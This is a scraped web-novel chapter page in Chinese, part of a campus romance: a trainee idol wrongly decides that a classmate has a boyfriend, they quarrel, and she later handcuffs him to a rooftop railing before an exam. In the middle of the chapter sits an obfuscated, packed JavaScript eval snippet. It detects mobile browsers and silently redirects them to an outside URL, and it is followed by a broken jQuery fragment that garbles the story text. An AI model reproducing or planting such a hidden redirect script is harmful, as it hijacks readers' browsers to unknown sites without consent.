默认冷灰
24号文字
方正启体

11. 你有男朋友?

作者:李上前本书字数:K更新时间:
    那部宣传片最后还是拍完了。


    过程磕磕绊绊,效果马马虎虎,但总算是拍出来一个东西。


    发在学校视频账号后,引起了一些热度。


    为数不多的粉丝在吹彩虹屁,更多的是本校人自己的调侃。


    说第一个想到把这两个人凑一起拍防早恋宣传片的是个人才,说两个人一看就是被硬拉着组队的。


    本校人现身说法,实锤二人不合。


    宋志强的事确实也透出了些许风声,掀起了一点水花,但不多。


    除了郁泊言家里和经纪公司出手外,最重要的一个原因是他糊糊糊糊糊糊糊糊糊糊糊糊糊糊糊糊糊糊糊.......


    到没有被黑的价值。


    郁泊言这个预备团因为没有出道,所以目前根本没什么正经活动,全靠平时偶尔更新一些训练视频吸点粉,或者给公司前辈们伴舞的时候被前辈粉丝留意到顺带关注下。


    但心肝还是心肝,就算关注了他们,也不过转头把他们扔一边。


    在学校也是一样,同学们愿意追捧他们,本质上是追捧一种光环,一种“maybe会红”的可能性。


    今年的气温似乎特别异常,还不到深冬,就飘了一场小雪。


    团里几人难得空出训练时间出来聚了聚,去了距离公司不远的一家游乐场。


    这座游乐场素来是情侣约会圣地,哪怕落着碎雪,人流量依旧不减。入目之处,随处都是并肩同行的情侣,两两相偎,说笑打闹,在微凉的风雪里格外惹眼。


    一行人玩了几个项目,带着一身寒气找了家靠窗的休闲小店坐下,点了热饮暖身子,一边喝咖啡一边闲聊。


    几个貌美少年聚在一起自然惹眼,但也只是被人盯着瞧几眼而已,以他们当下可怜的知名度,在线下遇到真粉丝还被人认出来的概率,几乎为零。


    因为糊,所以没经纪人盯着的时候,一群少年人行为举止便没那么多计较。几人隔着窗子看着外面的你侬我侬眼红,不知谁起的头,不知不觉聊到了感情问题。


    几人笑着或真或假地坦白情史,有的说从六年级就开始谈恋爱了,有的说六年级是不是有点晚了,难道你一年级的时候没收到过情书?


    他们互相调侃打闹,一顿闲聊下来,发现彼此基本上签公司前都谈过,也接过吻。


    郁泊言自始至终没有参与讨论,只捧着一杯摩卡,像在发呆。


    陈一涣看过去,胳膊肘怼了他一下:“干嘛呢?怎么不说话?”


    “这种话题你让他说什么?”周皓洋一乐,唇边露出两个小梨涡,“他啊,情史比脸蛋干净,女孩手都没牵过吧,更别说接吻了。”


    这话一出,周遭立刻响起一阵哄笑。


    郁泊言蹙眉,白他一眼,语气不冷不热:“你怎么知道没亲过。”


    周皓洋一愣:“呦?愿闻其详。”


    郁泊言不吭声了,想到什么,神色不虞。


    他是被人亲过,可那个人不认账,谁能证明。


    郁泊言觉得自己吃了个天大的哑巴亏无处诉说,心里窝了一团邪火。


    不认账就算了,还往他身上泼脏水。


    心底的躁意悄然翻涌,堵得人胸口发闷。


    郁泊言收回涣散的目光,百无聊赖地扭头,望向窗外,一扭脸,却透过那薄薄的窗子看见一道熟悉的身影。


    不,应该说,两道。


    女生身形清瘦,穿着浅色的羽绒服,围巾裹住大半张脸,对面是一个陌生男生,身姿挺拔,气质干净,两个人面对面站着,距离极近。


    有雪片子落在她围巾上,男生再自然不过地伸手帮她拍掉,两个人都眉眼弯弯,看着很是亲密熟稔。


    郁泊言一下子站了起来,眼睛直勾勾盯着那两道身影。


    窗外过山车飞驰而下,一颗心仿佛随着过山车落下,掀起一种失重感。


    周皓洋正咂果汁,见状也顺着郁泊言的视线看过去:“谁啊?认识?”


    郁泊言没说话,死盯着窗外的两个人,外套都没披上直接出去了。


    目送程燕頔离开,黎初刚要松一口气,一转头却直直对上了郁泊言的视线。


    来人一身黑衣,挺拔高傲,像个煞神一样出现在她身后,不知道站了多久。


    黎初脸上原本和煦温和的笑意几乎瞬间消失不见,取而代之的是一种下意识的戒备和警惕。


    为什么在这里都能遇到他?


    郁泊言的脸色很奇怪,除却往日的嘲讽和厌恶,还多了些说不清道不明的东西。


    僵持中,黎初率先开口:“你怎么在这里?”


    郁泊言没回答她的没话找话,只是看着程燕頔消失的方向:“男朋友?”


    黎初抿了抿唇,没说话。


    郁泊言本来就是阴阳怪气一下,以为她会否认,见她竟没否认,愣了愣,声音突然拔高八度:“你有男朋友?你有男朋友还敢亲我!你简直比我想象得还要不可理喻!”


    他似乎后知后觉,恍然大悟:“怪不得。怪不得不认账,原来是不敢认账。”


    黎初往周围看一眼,变了脸色:“你小点声......”


    郁泊言闻言更怒,“为什么要小点声,原来你也知道不光彩!”


    黎初懒得解释:“反正在你心里我一直人品低劣,我做什么都不算崩人设吧?你在惊讶什么?”


    “你男朋友知道你背着他......”


    “你不说他就不知道。”


    郁泊言气结,睁大了眼睛。


    “您应该也不会说吧,大明星,”黎初像个老实人,“毕竟你的名声比我们的值钱。”


    郁泊言这次似乎是真的气极了,眼睛气红了。


    郁泊言觉得自己受到了奇耻大辱。


    这个人.......


    这究竟是个什么人?


    她的私德真实一次次刷新他的认知。


    郁泊言指着黎初,语气前所未有的冷:“我原以为你只是争强好胜,性格不好,我还是高估你了,你比我想象得没下限得多。朝三暮四,轻浮恶劣,十几年书都读到狗肚子里去了!”


    想起那个吻,黎初多少有点理亏,听他发泄,没有还口。


    一直等他说完,才很老实地转身离开。


    ......


    郁泊言冒着雪回到室内,头上肩上都落满了雪,零零星星一层白,唯有刘海儿下一双眼睛微微泛红,像被冻惨了冻坏了,抬头,发现队友们都停了手里的动作,正用一种异样的八卦的眼神看他。


    方才郁泊言是怎么像个斗鸡一样冲出去的,又是怎样气势汹汹发作的,他们隔着窗子瞧得一清二楚。


    他们第一次见到郁泊言这个样子——尤其是,对一个女生。


    他们听不到他们说了什么,只看见郁泊言一个人发狂一样,对面的女孩却是自始至终没什么表情。


    他们几个中间,一个郁泊言一个李叹,这俩人是最能装的,一个比一个爱端高贵冷艳的架子。


    如今竟然能有一个人,把郁泊言气成这个样子,这实在是太新奇了。


    周皓洋率先开口,“那女孩是谁啊?人家男朋友前脚刚走你就凑过去。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17564988|204702||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    陈一涣托腮看着窗外,想到什么:“感觉有点眼熟哎,这是你们宣传片上那女孩吧?”


    周皓洋闻言一愣,随即恍然:“啊,这就是你们学校那个,为了考第一不择手段那女生?”


    周皓洋眼睛莫名亮了亮,“所以,就是她把你气成这样的?我以为会是个四眼钢牙妹,没想到是个......”


    周皓洋本想说美女,对上郁泊言余怒未消的眼神,生生把“美女”两个字咽了回去——美什么美,跟兄弟过不去的那就是阶级敌人。


    “她又干什么了?”祁泽挑眉,“又给你投毒了?还是又举报谁了?”


    陈一涣啧啧两声,摇摇头:“手段这么脏,成绩再好有什么用,白瞎一张好脸。”


    一边说着,几人又扒着窗子往外看,唯独李叹看看郁泊言,意味不明说了句:“我倒觉得,泊言这个同学挺有意思的。”


    ......


    是夜,洗完澡在床上躺下,黎初习惯性拿出刮痧板,顺着胳膊轻轻刮按。


    她本就是极易留痕的体质,稍稍用力,皮肤上很快就泛起几道深浅不一的淤青,斑驳落在白皙的小臂上。


    指尖握着刮痧板慢慢摩挲,黎初一边舒缓紧绷的神经,一边回想白天的闹剧。


    郁泊言明显是误会了她和程燕頔的关系。


    可转念一想,身边苍蝇有点多,这样的乌龙也许并不是什么坏事。


    明天就是又一次考试,不知道这次又会是什么样的结果。


    第二日清晨,黎初早早到学校,在天台上背了点知识点。


    背完两页纸,黎初收拾好书本,准备下楼去考场。


    要下去的时候,天台的铁门被人推开,郁泊言走了上来。


    郁泊言没穿校服,一身简单的黑白配,肩线利落舒展,眉骨锋利流畅,眼尾微垂时透出几分冷淡。他朝她走近,数日不见,那双冷淡的眸子里竟带着些意味不明的……恨意?


    ——如果她没看错的话。


    黎初下意识警惕起来:“你又要干什么?”


    郁泊言一步步朝她靠近,脚步沉缓,却连他自己都说不清他到底想干什么。


    他只是,他只是心里太不痛快了,他不想只有他一个人这么不痛快。


    他在她身前站定,一只手搭在了她身后的栏杆上,他想说什么,身前的人却冷不防直起了身体,朝他靠近了半步。


    郁泊言下意识抓了一下栏杆,她的脸似乎还在靠近,仿佛一低头就能嗅到她的呼吸,他愣了愣,头一偏,刘海儿遮住了眼睛:“我劝你不要这样,别忘了你有男朋友。”


    她还在靠近,郁泊言呼吸一滞,语气都严厉了几分:“我警告你不要乱来......”


    啪嗒。


    手腕上突然一凉,随着一道清脆的轻响落下,一副小巧的便携手铐,直接将他的手腕牢牢锁死,铐在了身后的天台栏杆上。


    郁泊言回神,望见手腕上的手铐,脸色瞬间又白又红,眼神似恨似怨,“你想死吗。”


    黎初没理他,自顾自松了一口气,她甚至没有看他,只将钥匙放在他看得见够不着的地方,直接去考试了。


    她就知道这人会作死,还好早有准备。


    如果这个手铐没有派上用途,她口袋里还有辣椒水和防狼喷雾,总有一款适合他。


    上午有两场考试,她原以为以郁泊言的风格,考完第一场会会过来兴师问罪了。


    结果并没有,整整一上午,他都没来找她麻烦。


    虽然风平浪静,但黎初莫名不安,总觉得眼皮在跳。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)